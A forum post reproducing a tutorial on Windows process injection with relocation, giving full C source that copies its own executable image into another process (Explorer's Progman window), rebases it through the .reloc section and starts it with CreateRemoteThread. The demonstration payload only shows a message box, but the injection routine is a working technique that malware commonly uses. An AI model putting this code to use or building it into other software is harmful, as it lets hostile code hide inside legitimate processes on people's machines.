Results 1 to 1 of 1
  1. #1
    Dwar
    Dwar is offline
    Veteran Dwar's Avatar
    Join Date
    2010 Mar
    Posts
    2,222
    Thanks Thanks Given 
    211
    Thanks Thanks Received 
    2,230
    Thanked in
    292 Posts
    Rep Power
    10

    Process Injection and Relocation

    Process Injection and Relocation
    The drawback on the simple Process Injection was that for it to work, the remotely allocated
    virtual address had to be the same as the imagebase that it was originally loaded to. One problem with it is that if the program had allocated space or loaded a dll into that memory address the VirtualAllocEx would fail because it had already been allocated. For this to work in a process which had already allocated our needed address, we would have use the relocation section within our executable to change address in proportion to the new imagebase. Now a days, compilers by default
    leave out the .reloc section because you *normally* don't have to relocate a program. For this source code to work you have to make sure the linker outputs a .reloc section to your executable, or else it won't work and will cause the remote process to crash.

    So, whenever you tried to inject a process into another process that was using the required ImageBase, VirtualAllocEx would fail and cause the injection to fail as well. This problem can be fixed by rebasing every address within the relocation section of the executable. And by doing this you can inject an executable into *ANY* process that you have privileges to inject into.

    injection.c
     #include <windows.h>
    #include <stdio.h>

    #define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr) + (addValue) )

    BOOL Inject(DWORD dwPid, LPTHREAD_START_ROUTINE lpStartProc, LPVOID lpParam);
    BOOL PerformRebase(LPVOID lpAddress, DWORD dwNewBase);
    DWORD WINAPI RemoteThread(LPVOID lpParam);

    int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    {
    HWND hWnd;
    DWORD dwPid;

    hWnd = FindWindow("Progman", NULL);

    GetWindowThreadProcessId(hWnd, &dwPid);

    Inject(dwPid, (LPTHREAD_START_ROUTINE)RemoteThread, NULL);
    return 0;
    }

    DWORD WINAPI RemoteThread(LPVOID lpParam)
    {
    char filename[MAX_PATH], msg[MAX_PATH];
    GetModuleFileName(GetModuleHandle(NULL), filename, MAX_PATH);
    sprintf(msg, "I am now inside of the remote process: %sn", filename);
    MessageBox(0, msg, "", MB_OK);
    ExitThread(0);
    return 0;
    }

    BOOL Inject(DWORD dwPid, LPTHREAD_START_ROUTINE lpStartProc, LPVOID lpParam)
    {
    HMODULE hModule, hNewModule;
    DWORD dwSize;
    HANDLE hProcess;

    PIMAGE_DOS_HEADER pDH;
    PIMAGE_NT_HEADERS pPE;

    if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid)) == NULL)
    return FALSE;

    hModule = GetModuleHandle(NULL);

    pDH = (PIMAGE_DOS_HEADER)hModule;
    pPE = (PIMAGE_NT_HEADERS) ((LPSTR)pDH + pDH->e_lfanew);

    dwSize = pPE->OptionalHeader.SizeOfImage;

    LPVOID lpNewAddr = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (lpNewAddr == NULL)
    return FALSE;

    CopyMemory(lpNewAddr, hModule, dwSize);

    hNewModule = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (hNewModule == NULL)
    return FALSE;

    PerformRebase(lpNewAddr, (DWORD)hNewModule);

    if (WriteProcessMemory(hProcess, hNewModule, lpNewAddr, dwSize, NULL) == 0)
    return FALSE;

    DWORD dwThread = (DWORD)lpStartProc - (DWORD)hModule + (DWORD)hNewModule;

    if (CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwThread, lpParam, 0, NULL) == NULL)
    return FALSE;

    return TRUE;
    }

    BOOL PerformRebase(LPVOID lpAddress, DWORD dwNewBase)
    {
    PIMAGE_DOS_HEADER pDH = (PIMAGE_DOS_HEADER)lpAddress;

    if (pDH->e_magic != IMAGE_DOS_SIGNATURE)
    return FALSE;

    PIMAGE_NT_HEADERS pPE = (PIMAGE_NT_HEADERS) ((char *)pDH + pDH->e_lfanew);

    if (pPE->Signature != IMAGE_NT_SIGNATURE)
    return FALSE;

    DWORD dwDelta = dwNewBase - pPE->OptionalHeader.ImageBase;

    DWORD dwVa = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
    DWORD dwCb = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;

    PIMAGE_BASE_RELOCATION pBR = MakePtr(PIMAGE_BASE_RELOCATION, lpAddress, dwVa);

    UINT c = 0;
    while (c < dwCb)
    {
    c += pBR->SizeOfBlock;
    int RelocCount = (pBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
    LPVOID lpvBase = MakePtr(LPVOID, lpAddress, pBR->VirtualAddress);
    WORD *areloc = MakePtr(LPWORD, pBR, sizeof(IMAGE_BASE_RELOCATION));

    for (int i = 0; i < RelocCount; i++)
    {
    int type = areloc[i] >> 12;
    if (type == 0)
    continue;
    if (type != 3)
    return FALSE;

    int ofs = areloc[i] & 0x0fff;

    DWORD *pReloc = MakePtr(DWORD *, lpvBase, ofs);
    if (*pReloc - pPE->OptionalHeader.ImageBase > pPE->OptionalHeader.SizeOfImage)
    return FALSE;

    *pReloc += dwDelta;
    }
    pBR = MakePtr(PIMAGE_BASE_RELOCATION, pBR, pBR->SizeOfBlock);
    }
    pPE->OptionalHeader.ImageBase = dwNewBase;

    return TRUE;
    }

    Author: Anubis

    Please register or login to download attachments.

    Please, post your questions on forum, not by PM or mail

    I spend my time, so please pay a little bit of your time to keep world in equilibrium

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •